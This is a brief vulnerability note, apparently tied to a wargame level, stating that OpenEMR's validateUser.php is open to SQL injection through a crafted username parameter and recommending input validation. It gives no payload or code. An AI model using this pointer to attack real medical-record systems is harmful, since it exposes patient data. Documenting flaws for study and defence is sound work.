OpenEMR 4 (Level @ Smash The Stack)

The validateUser.php script is vulnerable to SQL injection. An attacker can send a malicious request to the validateUser.php script with a crafted username parameter, which will allow the attacker to execute arbitrary SQL queries.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
